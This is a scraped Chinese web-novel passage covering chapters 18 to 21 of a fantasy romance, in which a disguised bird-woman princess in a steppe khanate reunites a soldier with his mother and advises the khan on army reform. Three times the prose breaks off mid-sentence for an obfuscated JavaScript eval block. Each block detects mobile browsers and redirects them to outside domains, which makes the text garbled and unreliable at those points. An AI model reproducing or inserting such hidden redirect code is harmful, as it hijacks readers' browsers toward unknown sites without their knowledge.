来时磕磕绊绊是因为要寻路,折返就快得多,林一芜湖起飞不久,两千多里路只停下来喝了两次水,野河岸边多有野鸟群,见到林一这样大的巨鸟纷纷凑过来看。 恁咋比座山雕还大好几倍嘞? 林一压根不把这些小东西当同类,就像她也经常看到一些微型的虫族,咬人都费劲,这么点点大的鸟脑子都没发育好,只会嘎嘎赞美她有多大,噫!两米八的鸟形明摆着的,还用得着你们说? 在野鸟们敬畏的目光中,林一不着痕迹地挺起了胸口,蓬松丰美的胸羽几乎把大皮袋子完全覆盖住了,她一脑袋扎进河里大喝了几口,吃掉最后一块牛肉干,拍翅起飞。 韩黄彩迷迷糊糊总觉得自己在云上飘,耳边风声很大,但是没有被风吹的感觉,反而整个人像在温暖的水里泡着,又有点摇晃。她有夜间咳喘的毛病,所以一贯是白天补觉,困意席卷,韩黄彩想着是不是床老了,趴着不动都会晃。 这趟返程很快,快到夜间的时候,林一在苏赫部的大河谷北面坡地停下,本能梳理了几下羽毛,翅尖盖住韩黄彩的脑袋防止她突然醒来看见自己,然后取出衣裳把自己变回人模样,稍微扎紧牛皮袋子双手抱起往回走。她的走速基本上就等于正常人的跑速,大步大步往前直冲,偶尔跳跃式突进,很快就到了韩小六的帐子附近。 韩小六正在吃烤羊,这两天他情绪低落,两个禁军同僚都在集会上找到了姑娘相伴,他倒不是想姑娘,只是觉得这辈子可能就要送在这茫茫雪域里了,母亲常年卧病,他回不去的话……实在不敢想会是病终还是饿死。 心情已经这样沉重了,捡的猫还不知道跑哪去了,叫他一个人的时候连个倾诉的对象都没有。 帐子帘是合上的,因为韩小六有些怕蚊虫叮咬,一个大皮袋子被悄悄塞进来的时候,他压根没注意到,低头啃了一大口羊肉,然后就听见一声熟悉的梦呓。 韩黄彩有梦呓的毛病,因为长期病痛折磨导致睡梦中也不安稳,韩小六本能寻找声音的来处,感觉自己这一觉睡得腰酸背痛的韩黄彩也刚好从牛皮袋子里探出半个身子,母子俩对上了视线,恍如梦里相见。 林一没想好怎么解释自己强行一换一的土匪逻辑,她对血亲没有概念,但知道猫是非常贵重的,虽然韩小六说想娘时哭得可惨了,可她还是不确定等不等价。 但是!鸟这种贪吃贪占的凶狠生物,当然是天生的土匪啊!她一贯是不把烦心事挂心上的,送了人就往回走,这两天可想死她了,不知道尤物有没有想她嘞! 她嘎嘎往黑帐方向跑,到平时议事的主帐前时发现今晚里面灯火很亮,外面的值守勇士也多了十几个陌生面孔,是克烈部的青壮。这还挺好区分的,现在这个天气苏赫部的男人通常赤着上身,克烈部的人衣裳都比较齐整,看起来体面许多,毕竟是远来的外客。 自从来到雪域部落,林一一直挺有归属感的,她的男人是这里的“可汗”,而她是“可敦”,压根没有什么也许有事情自己不能听的意识,拨开两个一左一右有些犹豫要不要拦住她的勇士,大步就往里面走。 其实今天和拔都可汗的会面,确实有一点不适合让魏朝来的和亲公主听。 苏赫阿那坐在可汗大座上,除了暂时不在部落的苏赫铎,苏赫忽律和苏赫乌苏两个儿子同时列席。拔都可汗不再是下首客席,而是将座位摆在对面,这是对等谈话的规格,此时谈判已至尾声,只需要一点场面话作为收尾。 拔都可汗年老而精明锐利,说话声音沉闷而浑浊,“苏赫大汗既然和魏朝做了交易,今年的冬日应当又好过了,听闻贵部已经连续五六年没有冻饿死人了,不愧是守着黄金草场和盐湖矿山的部族,不像我这等穷苦部落,要靠勇士拿命来拼……这家底可真叫人羡慕。” 不知是不是别有用意,拔都可汗最后的“羡慕”词汇使用的是雪域古语,既有羡慕之意,也有“眼馋”的语义。 苏赫阿那笑了一声,语气很平静,“一个勇士长成需要十八年,他的价值不应该等于十八袋麦子。” 拔都可汗眯起眼睛和苏赫阿那对视。 雪域人大多黝黑而面部平实,鼻梁较低,长期放牧或者游猎会让眼睛周围有一圈类似眯眼时的褶皱,眼睛颜色为黑棕,与魏人的混血则显得五官深刻一些,皮肤也会呈现稍浅的小麦色。 这倒不是绝对的,只是拔都可汗恰好是这种标准雪域人的外表,而苏赫阿那肤色浅于雪域混血,五官浓烈而俊美,一双灰蓝色的眼眸冷冽中透着一股不怒自威的气势。确实如同巴特铁木尔曾经说的那样,压根不是雪域人的模样,或者说根本不是雪域贵族和部落可汗该有的长相。 在克烈部,这样的白奴和白奴混血是最下等的奴隶,反倒是一些正常雪域部落里地位很低的魏奴,在克烈部是不能随意打骂折磨死的,有些甚至能成为管事一类的高等奴隶。拔都可汗厌恶这种长相,从三十年前开始。 但对着苏赫阿那,他还是露出笑容来,没有往下深说,只是道:“一个好小伙儿可以为他的家人换十八袋麦子,能熬过一个最严酷的冬季,这是仁慈。” 苏赫阿那不置可否,谈判已经达成,他和魏朝的通商至少不会遭到明面上的骑兵劫掠,至于更多的,只要出了雪域,他也并不会管那些盐铁流向哪里,但他的粮食绝对不能被人动。 林一就是在这个时候伸头进来的,她敏锐地发现主帐里气氛不够好,尤其她的男人表情比较严肃,于是她也立马严肃地看向对座的老头儿。她大步走上前,路过时故作不经意蹭了一下拔都可汗的肩膀,一股无法抵抗的巨力把老头蹭了个趔趄,还是从席的克烈部二王子一把扶住了自家父汗,自己也被带得剧烈晃了晃身形。 拔都可汗这辈子都没遇到过这样拙劣的报复,最关键的是这不是明显的推,只是蹭到一下,反而他仰头往外跌的样子看起来简直像意图碰瓷的老头。 老头被扶稳时,林一已经坐到苏赫阿那旁边,沉着一张鸟脸帮忙镇场子了。 “这位……是魏朝的玲珑公主?”拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148423|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都可汗挥开扶着他的儿子,甚至还笑了一下,看着苏赫阿那说:“我的妹妹阔真不够聪明,性子也不好,给苏赫阿弟带来了很多麻烦。公主既是叶朔的外孙女,又熟知兵法,这样聪明厉害又漂亮的女人,才配得上陪伴在阿弟身边。” 这话只说到一半,列席下首的苏赫忽律脸色就黑了下来,连小王子苏赫乌苏都抿起了唇,克烈部的人心有不忿,不知大汗为何突然贬低他们已故的公主。 聪明厉害又漂亮!林一悄悄挺起了胸膛,这老头儿在夸她,被她差点创死还夸她,很明显是怕了她,在说好话求饶了! 苏赫阿那则显得很平静,雪域人的挑拨往往没有魏朝人委婉而暗藏更多的锋芒,但直来直往的计策一般也很能奏效。塔塔尔部旧事在前,拔都可汗又提起魏朝公主,又提起叶朔之名,用意是很明显的,他只是对儿子的迟钝感到一丝失望罢了。 拔都可汗也懂点到即止的道理,没有等苏赫阿那的回应,就带着儿子起身离开。 黑帐内,林一很爱怜地看着苏赫阿那,她才走了没多久,怎么就被人欺负到家里来了?真是个要让人时时刻刻操心的笨蛋美人。 苏赫忽律拉起弟弟,压着火气行礼,“父亲,我和乌苏去送拔都舅舅一程。” 苏赫阿那已经被林一按得歪斜,勉强沉稳语气道:“回你的帐子,不要和克烈部的人再见面……乌苏去送就行。” 兄弟二人来不及回复,只能匆匆离开。被二哥拉着手往外走,小王子的脸都红得要滴血了,他出帐子的时候一回头,看到林一已经压到阿父身上去了,接下来的事他想都不敢想。 林一不光敢想,还敢做,飞行是比较枯燥的事,她这两天一直靠想这事支棱自己,一回来就看到尤物冷着脸被人欺负,现在打跑了坏老头,该是收取保护福利的时候了。 可汗大座是非常宽敞的,但再宽敞那也只是个座位,苏赫阿那这辈子都没想过还有睡帐之外的选择,又推不过,只能叫恶鸟得了手。 后半夜才回到睡觉的帐子,林一一直很兴奋地嘎嘎,即便是贤者时间也没闲着,只是抱着人亲,亲着亲着她忽然想到一件事,询问道:“叶朔是谁?” 苏赫阿那原本闭合着的灰蓝眼眸一下子睁开了,像冰封的湖面落下一圈涟漪,看着可美了,林一忍不住又去亲他的眼角,连亲五六下,像个啄木鸟哆哆哆的。 等她亲够了,苏赫阿那轻抚着她的脊背,轻声说道:“公主不认得叶朔?他是魏朝镇国元帅,故去有几年了。” 林一还是疑惑,“那老头为什么说我是叶朔的外孙女,外孙女我知道,是女儿的女儿,可是我和他又没有关系……” 她一个流水线产品,出厂时候没有配置爹娘啊! 苏赫阿那静静看着林一,慢慢俯身过来,把她的头抱进怀里,这是个很温柔的安抚动作,察觉到怀里的身子在发抖,“别怕,我明白了,你能这样坦诚很好。不必害怕,你已是我的可敦。” 林一很害怕,怕自己狂性大发。 19.第 19 章 雪域的清晨总是非常晴朗,林一神清气爽地出了帐子,胳膊半张大步大步往外走,她准备去吃一顿结实的。鸟身飞行本来就很耗费体力,她主要是用体内剩余的营养液在支撑,就算有几十斤的牛肉干和奶酪也就浅浅打了个底罢了,昨夜她还干了一夜力气活呢! 吃羊!必须来一只烤全羊! 黑帐的厨子们这些天挺习惯的,苏赫阿那比较简朴,同为雪域大部落之主,塔塔尔部有公主城,城中宫殿奢华至极,历二百年仍旧光鲜。而克烈部活动范围较广,拔都可汗有两个固定行宫,三五座装饰得极其奢华的金顶大帐。苏赫阿那既不建城也不建宫殿,仅以黑帐连营,他的黑帐甚至不会额外装饰金银。 同样的,苏赫阿那对饮食也没有太多要求,基本是和常备骑兵们吃相同的。一天吃两餐,早起大多一顿蒸饼佐蒸羊肉,傍晚一顿油脂丰沛的肉食配咸奶茶,除了设宴的时候,真的很为厨子们省心。 现在林一就不同了,鸟生在世,吃乐二字,每天看到那么多男人她很快乐,剩下的就是个吃了,除了尤物之外,她第二挚爱就是烤全羊! ……好吧,其实也很省心的,反倒是几个从魏朝来的厨子不大适应,再精细的吃食做出来喂到林一嘴里,也没得过看重,第二天来还是要吃烤全羊。 魏朝的大厨一天天木着脸给羊刷料汁,这倒霉蛮荒之地,连蜂蜜都没有,不是说雪域的大贵族过得比魏朝世家都舒坦吗?这舒坦到哪里去了啊? 反正林一是很满足的,看到羊烤上了,溜达着准备去找霓裳羽衣学一篇《女诫》,边学习边等待美食的感觉是非常好的,会把期待拉高好几倍,吃进嘴里的肉也会更美味。 只是还没走出多远,就听见韩小六结结巴巴和人解释的声音,“是、是啊!我娘就是因为每天拜佛许愿……就许愿啊,许愿想见我,然后她就实现愿望了嘛。” 一贯机灵的年轻人眼眶还红着,这是昨天晚上和母亲抱头痛哭留下的痕迹,帐子里多了个人是藏不住的,首先知道的就是两个禁军同僚。两人昨晚彻夜未归,今早回来就傻眼了,韩小六的娘从江淮那么远到雪域来找他了! 不是,他们家里估计都不知道他们被扔在这破地儿了,韩小六他娘是长了翅膀飞过来的?都是流落异域,怎么偏你还弄个娘来? 反正这事解释不清,韩小六扯神扯佛扯了半天,林一就在远处听得嘎嘎直乐,那两人只是不信,揪着韩小六想问清楚。没想到韩黄彩也不是好惹的,闷着在帐子里听了一会儿终于忍不住,出来一把拉着儿子的手,把人拉到身后。 她随即一手掐腰,大嗓门一开,“欺负孩子嘴拙不会说话是吧,有本事冲他娘来,老娘就是仙姑神婆,是飞来的,我还给你爹接过生呢!你爹从**里生的你,再问老娘再咒你个生儿子没**……” 两人实在是弄不过这样的泼妇,一早上被骂一通也实在晦气。有心想算了,但看韩黄彩病歪歪,韩小六瘦猴模样,那个叫孙毛的忍不住伸手想推搡一把,手刚往外伸,背后就一股巨力袭来。他整个人被拎着后衣领往边上轻飘飘一丢,跌坐在地上都没反应过来自己是怎么被丢了四五步远的。 林一脸上还有笑,没当一回事,男人吵架还是很好玩的,在她看来男人之间吵嚷几句也就算了,韩黄彩其实不应该出来欺负人,但转念想想又觉不对。这不是强壮雌鸟,只是一个矮矮瘦瘦的老妇人,反倒是男人在欺负女人。 倒反天罡,倒反天罡了嘎嘎! 韩小六见到林一,连忙拉扯了自家母亲衣角,低声嘀咕了几句,韩黄彩立刻局促起来,也不骂人了,赔着笑脸想往下跪,“公、公主……” 随手按住不知道为什么腿软的韩黄彩,林一笑眯眯地说:“我给你们换个帐子吧,四个人应该不够睡了,让他们两个一个帐,你们住新的帐子,别吵架了。” 两个洛阳禁军不敢作声,韩小六连忙说:“多谢、多谢殿下,我娘她、她是自己走来的,因为去年啊我病了一场,给家里写信,所以她一直走一直走……” 林一已经要憋不住笑了,她严肃地点点头,又试探地询问道:“你现在,很高兴?没感觉哪里不适应?” “啊?”韩小六愣了一下,下意识点点头。 林一含含糊糊地说了几句话,反正韩小六是一个字都没听懂,就看到公主殿下鬼鬼祟祟地走了。 鸟人的事那能叫偷吗?地里的粮食长在那里,哪个鸟不会去吃几口呢?而且这是一换一,这不叫偷猫!而且猫丢了他也没有不适应!总之林一说了些难懂的话,假装自己签过了合同,单方面宣布交易成功。 美滋滋吃了一顿烤全羊,林一去上女诫小课堂,她的学习积极性很足,虽然她的雪域语现在说得要比魏语顺溜太多了,但她对和人交流充满了热情,她属于人来疯的那种鸟。 这次还是羽衣来教,因为魏语已经入门,进度就很快了,何况女诫全文并不长,羽衣为林一通读了全文,然后开始精讲。 “敬慎第三。阴阳殊性,男女异行。阳以刚为德,阴以柔为用,男以强为贵,女以弱为美。”羽衣声音严肃地道:“这是说男女天生不同,阳应刚强,阴必柔和,所以男人贵在强大,而女人以弱为美,不可阴阳颠倒,乱了伦常。” 林一很认可地说:“强大的男人很珍贵,女人应该示敌以弱,越是看上去弱小越好,这样才能趁机捕获强大的男人。” 羽衣看了一眼霓裳,霓裳朝她点点头,贵女这样的解读虽然失之婉转,但意思确实如此。女子纤弱才显柔美,能得男人欢喜,女诫是古之才女所书,自然不会讲得过于俗白,道理对了也行。 羽衣只好再次往下讲,这次讲了一会儿,到了贵女重点要学的部分,“妇行第四。女有四行,妇德妇言妇容妇功。如今魏朝世家大多以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153811|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德容言功为序列,殿下可以一边听讲一边默写原文,先讲魏女妇德,其重在于守贞、不妒,从夫……” 这种讲解方式其实不大对,因为林一唰唰开始默写原文,默写时就难免有些不注意听讲了,等她写完已经讲到妇功一节,羽衣很慎重地说:“妇功虽然最末,但贵家女子却应最重视此行。尤其是宗妇主母,需要承担一个世家的内务往来,人情流转,招待宾客,操心劳力,重责加身,此为妇功。” 林一抓着笔有些犹豫了,啊这,怎么学着学着,就给自己学来一堆事情了呢? 霓裳也跟着补充道:“如今公主和亲远嫁,应当更加贤良淑德,以柔美获取丈夫的看重,以妇功稳定可敦的地位,公主年轻貌美又聪慧,应当更加自信才是。” 林一犹犹豫豫地点点头,“管!俺知道嘞。” 这口音倒没有引起霓裳羽衣的注意,魏人的方言很多,一个地域一种口音,反而是纯正的洛下音少见。如果不是从小请了严格的女师教导,大多会掺杂一点当地口音,这位假公主很有可能就是齐鲁之地的贵女,现在想起口音了而已。 等两个侍女走了,林一向后仰躺在椅子上拿默写的几张女诫遮住脸晒太阳,心里还是有些犹豫的。她不是个懒人,也不是怕承担责任,就是这些天嘎嘎嘎憨吃憨玩过得很快乐的,忽然就要收心,要去承担一个大部落的责任了……唉!罢了罢了,谁让她喜欢这里呢! 中午的太阳晒得身上暖烘烘的,林一几乎要睡着了,忽然听见一声细弱的呼唤,“殿下,殿下?” 拿开脸上的纸,林一睁开眼睛,看到庞十一娘脸红红的,声音细细的,她一贯是这样很柔弱的模样,林一还没有把女诫的规训和行走的贵女对应上,问了声,“嘎?” 庞十一娘怯弱地说:“殿下,我这两天想好取什么名字了,我要叫庞……半天,字遮云。” 林一打了个哈欠,点点头,“俺知道嘞,以后喊恁庞半天。” 通常称呼一个人应该是称呼表字,同辈之间直呼名甚至连名带姓叫是无礼的表现,但尊对下是可以直接叫名的,所以庞半天只是羞怯一笑。 她脸颊红红的,感觉自己第一次取名,把名字取得太大了,有些不好意思在林一耳朵边上小声解释她取名的寓意和志向,但林一听得一脸狐疑。 啥叫云遮半天,啥叫层云蔽日?人与人的文化水平并不相等,她只觉得半天听起来很危险,像是以前打完仗说放假,但只放半天假的那种挥之不去的窒息感。 * 庞半天,洛下世贵女也,外怯内勇,柔极则韧。其先为魏开国三公之首庞业,世代事魏,父祖亦显贵,系出忠良之门。魏末帝二十三年,庞氏涉太子事坐诛,族殁,唯遮云侯与其姊诛魏侯流放北境,乃遇明主。史曰:庞氏末路,始出一门双侯,曾历风刀霜剑,不改其颜。 ——《史记,庞氏世家》 20.第 20 章 二王子苏赫忽律的一天是非常规律的,早起和帐下军师们找个没人的地方开会,谈得欢畅之后饿了,去吃一顿。偶尔呼朋唤友去打猎,篝火烧烤,畅想未来。而近期夏秋之会,别人都在关注姑娘,他要干一件大事! 他看中了几位勇士,想要收入麾下,是这次跟随克烈部过来参加集会的呼兰氏六兄弟。 雪域人的姓氏源流也就那几样,其中有四个主要大类别:动物崇拜,自然崇拜,器具崇拜,先祖一拍脑袋。 动物崇拜普遍扎根在各个阶层暂且不论,如苏赫阿那原本是部落贵族勇士和奴隶所生混血,取父母阶层之中和,为无姓平民,既无法继承父亲的高贵姓氏,也不必随母为奴。在反叛后他不取父姓,为自己取“苏赫”为姓,也就是如今苏赫部的战旗和图腾“斧钺”之意,而克烈部如今的拔都可汗姓蔑儿乞,取自“神射手”,这种就是很典型的器具崇拜。 塔塔尔部的可汗姓氏“阿勒坦”,金山之意,属于最高类别的自然崇拜,这种以自然为姓氏通常是雪域贵族传承,毕竟当初能抢上这种姓氏的肯定是历史的胜利者。 而呼兰氏翻译过来等于“野生驴子”,看似动物崇拜,实际上属于先祖一拍脑袋。不过别看呼兰氏六兄弟穷得叮当响,他们实际上是雪域数得上的“一生猎熊十二,古之勇士未有”呼兰通的苗裔。 呼兰氏的青壮有“高大、骁勇、忠诚,以命卫主”的家族传统特质,世世代代都很受统治者看重。大单于(雪域唯一统帅)的时代,呼兰氏的护卫是单于金帐的标配,可汗(部落之主)时代,呼兰氏开始分家,青壮分散择主,但无论是父子兄弟,还是堂亲叔侄,都能做到对面拔刀,不死不休,呼兰氏永远忠心守卫自己的主人。 光是和军师们谈起的时候,苏赫忽律就感到热血沸腾:假使我能得几名呼兰护卫,日夜随同,不仅人身安全得到极大保障,从象征意义上来说也非常鼓舞士气。 呼兰部落只是个小型部落,位于克烈部控制范围,但并不代表依附,相反因为世出勇士的缘故,呼兰部落的好小伙儿到了独立的年纪就会被分家出来单过,拥有自行择主权。而大部分人都会在两三年内宣誓效忠主人,成为忠诚的护卫,或者选择过普通牧民的生活,通常是入赘给有产家庭,他们还是一些有产无靠的寡妇最优选择……毕竟穷,也是呼兰氏特色。 这一年被分出来的呼兰六兄弟就是响当当的六个穷光蛋,正赶上克烈部召集青壮和年轻妇人去参加夏秋集会,他们也跟着蹭了队伍过来,可不是为了挑个主人的,他们六兄弟实际上是想找有产的富贵妇人入赘。呼兰氏的男人是金子打的招牌,雪域有收继婚之习俗,但这也不是绝对,妇家势力强大,同样是可以在不嫁给亡夫子侄的情况下保住财产的,而妇家势力不强,又不愿意接受收继婚呢? 呼兰打手,为您解忧! 嗯……想是这么想的嘛,但现实就有一点苗条,现在的雪域已经不是古时的雪域了,收继婚之所以能长期存在,也是因为大部分的妇人并不会排斥嫁给更年轻的亡夫同族,有产的家庭一般也很少会闹到撕破脸的地步。 所以近些年呼兰氏的出路从找女人开始偏向于找男人啊不是,找主人了。 六兄弟之中的大哥呼兰阙利不肯放弃,带着弟弟们在夏秋集会上努力寻找合适的有产妇人,并很快光速白给。他看上的是一个羞答答娇滴滴的魏朝姑娘庞十一娘,据说是魏朝公主嫁给苏赫大汗时带来的侍女,不仅无产,连人身都不自由。 二弟呼兰骨性如烈火,怒骂大哥废物,并准备拉他去和那穷丫头说个清楚,然后中道崩阻。 老三老四老五只是远远看着就不中嘞,老六最稳重,沉重地拉大家开了个会,会议重点在于他们六个有手有脚高大威猛,养个小女子还养不起了?男儿在世怎么能光想着入赘而不奋斗?并提出大家投个票吧,投了苏赫大汗,娶可敦的侍女不是一下子就门当户对了嘛? 六人一致同意,但非常担忧魏朝的姑娘能不能接受六个丈夫,如果不行,被选中的会不会是自己? 总之兄弟差点闹到阋墙。 今夜天气很好,苏赫忽律得到二手过时消息四处在集会上寻找人时,呼兰兄弟几人早已经通过了一连串的流程,诸如熟人介绍,通报长官,大汗许可,被成功宣入黑帐。 苏赫阿那正弯腰在羊皮纸上写写画画着什么,林一不大看得懂这些原始的线条,坐得很稳当,见六人进门,一下子认出来了,“啊,你们是前两天……” 六人低头握拳几乎同时行礼,由呼兰阙利开口道:“呼兰勇士六人,愿效忠苏赫大汗,愿效忠可敦殿下。” 苏赫阿那看了一眼林一,又看了看六人紧张的视线,笑了一声,很温和地道:“我年轻时有一个呼兰氏的友人,是你们的叔伯辈,他叫呼兰达,我也算是你们的长辈了。如今既然入我帐下,更不必拘束,你们现在有什么需要的可以和我说,可要预支些钱财?除此之外的职务,是想从骑兵长做起,还是在帐中听令,都可以讲。” 他的态度实在很好,又提到熟悉的长辈,几个年轻勇士顿时被打动了,蠢蠢欲动想说什么。 呼兰兄弟里的老六布罕按住几个兄弟,努力说道:“大汗,一切大汗做主就行!” 林一嘎嘎直乐,连她都看出来几个人有话想说,指了指老二呼兰骨,“来来来,你讲你讲,诶这个,你别捂他嘴嘛,让他说,有啥不能说的?” 六人对视,老大呼兰阙利推了呼兰骨一把,这个看起来不到二十的年轻小伙一霎红了脸,磕磕巴巴地说:“我们、我们想要一顶可以过冬的厚牛毛毡帐,再有一些羊,我们刚从部落出来什么都没有,但是遇到了很好的姑娘……” 林一拍了拍他的肩膀,苏赫阿那先是应允,然后温声说道:“呼兰勇士忠诚,这一点我明白,你们都是很年轻的孩子,我希望你们能有更大的志气,而非为了一时之需,卖命。” 最后的两个字说得有些低沉,六个年轻的勇士眼神略带茫然,但很快就被林一挨个拍了胸膛和肩膀,她笑脸凑近,道:“你们不在意做什么活的话,就先来我这里做事吧,我最近缺点人手。” 六人第一时间看向苏赫阿那,一时都有些茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15155073|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,啊?魏朝刚嫁过来的公主,就能参与部落内政了? 苏赫阿那灰蓝眼眸微微眯起,看向笑脸盈盈的林一,沉默的时间有些长,然后点点头,开口道:“你们听可敦的。” 六个呼兰勇士离开后,帐里只有零星几个侍从负责掌灯,苏赫阿那一贯不摆排场的,林一也不懂这个,所以她很亲近地凑到苏赫阿那边上说:“今天我听了《女诫》,真是非常有用的书,讲了很多实用的道理,里面说夫妻一体,妻子需要……” “那不是好书。”苏赫阿那几乎不打断别人的话,但还是开了口,一手按住林一的肩膀,把羊皮纸放下,认真地说,“魏人的学问里有很多精华之处,也有极多糟粕歪理,不可轻信之。” 林一歪斜脑袋,她觉得是很有道理的,但是尤物这样坚持,她没什么底线地点了点头。 苏赫阿那刚要松开按住林一肩膀的手,就被拉住手腕往前一拽,有些哭笑不得靠在林一肩头,被她一下下抚摸着脊背。 “就算不提那书,我也想要帮你做事了,你每天的事又多又杂,还一直没有人分担,我不能就这样每天吃吃玩玩……玩也玩够啦!”林一抱着苏赫阿那,亲了亲他的耳垂。 苏赫阿那刚要开口,耳垂被咬了一下,林一干哑粗糙的鸭子音在耳边听起来莫名带着温柔,“尤其是军队,军队,我说一点点实话啊,弄得不大好。” 在她这句话没出口之前,苏赫阿那即便抱着佳人,也在思考权衡一些事情。他与拔都可汗的思维完全不同,他对每个儿子都有长期而详细的观察,没有一个令他放心。假使林一具有继承人的实力,那么按照雪域的传统,分给可敦权柄,以强势的母亲来辅助下一代乃至下下一代,反而可能是一项出路。 这样思考的时候,苏赫阿那仍然是以可汗的角度来看待问题,冷不防听见一句“军队弄得不大好”,直接让他思维停滞少许,下意识问:“弄得不大好?” 相拥的姿势让他看不见林一的表情,只能听见她语调轻快且随意,“是有些,第一就是兵制太散了,我看过了,最下面的士卒只认得自己的百骑长,一旦打起仗来产生混乱,死了军官怎么办?这样底下的人和上面的军令就有隔阂。” “第二是分工不够明确,不对,你压根没有弄分工吧?那天我记得军阵里面,一个骑兵通常带弓,背一筒子箭,挎一把刀,有的自备枪矛长槊,还有的给自己弄了盾牌,太杂了,而且马和马之间也应该区分出体力好的和劣等的……” “第三,雪域这边全是骑兵,人吃马嚼消耗很大,补给有很大的问题,我们这样假设敌手也这样,只要我们消耗少,赢面就更大,而一旦要长途作战,最适合的不是全骑兵阵容……” 苏赫阿那几乎没听出自己的部落军制有什么优点,仿佛一个四处漏风的筛子,更关键的是,自家的可敦所总结出来的,是他带兵时隐隐有想过,但总未成形的念头。他也试图学习过魏人的兵法,但很难弄到只片言语,兵书这种东西通常为宿将一生经验汇总,是世家最珍贵的私藏。 但,自古名将如美人,总是天生成。 21.第 21 章 林一说得兴致勃勃,鸟人天生喜欢军事,尤其是雌鸟,基因就带着争斗的本能,像这样的原始冷兵器时代虽然限制发挥,但这些天观察下来,她发现有很多可操作的余地。 当初江骋在应对夜袭时就曾在她面前展露过这时代极高水平的布防流程,其一选址,其二军阵,其三分工,林一是最会触类旁通的那种鸟,这些天有空就会去观察部落常备骑兵的训练,已经做到心里有点数了。 听见苏赫阿那追问,林一很耐心地给他讲解道:“一人一马能带的兵器有限,拿了厚重的盾牌,其实再举长兵器就太耗精力了,带弓箭也是累赘。还有习惯给自己披甲的,有人甲胄重,有人甲胄轻,轻甲骑兵可以不用拿盾牌,使用弓箭或者长矛就足够,重甲兵连人带马冲在前面,手里连个棍子都不用拿,冲一波能冲散对面阵营的话就不需要再上,体力耗损太大了……” 她放开苏赫阿那,拿起他在羊皮纸上写写画画的炭笔,直接在铺桌子的羊毛毡布上划出粗糙线条,“这样,我们来个最简单的战役预演,以这条线为准,我在北你在南,来,试试看。” 炭笔一折为二,苏赫阿那接过那半根,也不推辞,在南面毡布上圈下阵地,“好,设为双方兵员相等,各一万骑兵,是否预设地形水源辎重粮道?” “只是简单的排兵,不打长线。”林一提笔在北地画圈,“你准备如何攻我?” 苏赫阿那略微思索,“雪域少有地形优势,双方均为骑兵,我不舍用兵,所以这些年下来钻研了一些战术以减小自身伤亡。首先在战事开始前以小规模兵力进行袭扰,或是挑选敌军最疲乏之时全力突袭,以精锐亲卫切割战场使敌不能合兵一处,预先使人绕后包围等。” “但这是最理想的战役,老练的对手会防备袭扰突袭,避免被切割战场,拉长兵线甚至反包围,所以我总结自身惯用战术为袭扰、突袭、切割、包围四项。实际战事中,能顺利实行一项,已经能胜,四项皆成,是摧枯拉朽的绝对大胜。” 林一点点头,这样原始风貌的地界,水平已经不能算低了,自家尤物能在几乎一无所有的情况下打来雪域最好的一块地,做到养活十二万部民,实在是非常强大的男人。 她在北地的圈里先划了一个横排,说道:“现在我已摆好军阵,你对面来攻,你这一万骑兵是什么阵型?” 苏赫阿那提笔三竖,“克托和叶利诃各自带两千人自我两侧向前冲阵,我率兵六千来攻,倘若第一波冲阵成功,两支侧兵对你军进行包围绞杀,或分割大军营盘。” 克托和叶利诃就是先前林一见过的苏赫部两名万骑长,跟随苏赫阿那打过许多仗,他习惯性加入了两人。 林一点头,提笔点横排,“好的,我要用之前提过的分工式军阵了,我会在最前排放置重甲骑兵,持盾,在你冲阵时中排轻骑兵远程射箭。主力设为长兵轻骑,吞你两翼侧军,重甲兵与轻骑共三千人,能否在你冲散阵营之前打溃你的侧军?” 苏赫阿那只是思索一下就明白了,放下炭笔摇了摇头,“这样没法打。” 明明苏赫阿那只是说了一句,林一立马就心疼了,把毡布调转过来,“有得打有得打,来,现在我们互换军队,你的主力在打我的侧军,我在冲阵。” 苏赫阿那失笑,想说不用,林一已经飞快抄起炭笔,“现在开局不利,我不想再冲了,所以在损失千骑的情况下回调兵马。摒弃你原先的三叉戟式攻击战术,我命令所有携带重装备的兵员丢弃装备,只允许携带弓箭或长兵,整合出一支绝对轻骑,提升马速。我不再进行大股兵力冲营,而是分散为小股兵力,在你的重骑兵冲杀之前回撤,这是你的袭扰战术。” 苏赫阿那愣了一下,这还是我的袭扰战术吗?将所有兵力分散进行袭扰? 他拧起眉头说:“如果能维持两次大规模袭扰,一度聚集又再次袭扰,而不溃散,我必败,但轻骑袭扰这种战术在实行时……这是兵制?” 林一兴致勃勃点头,她的尤物不光好看,还冰雪聪明! 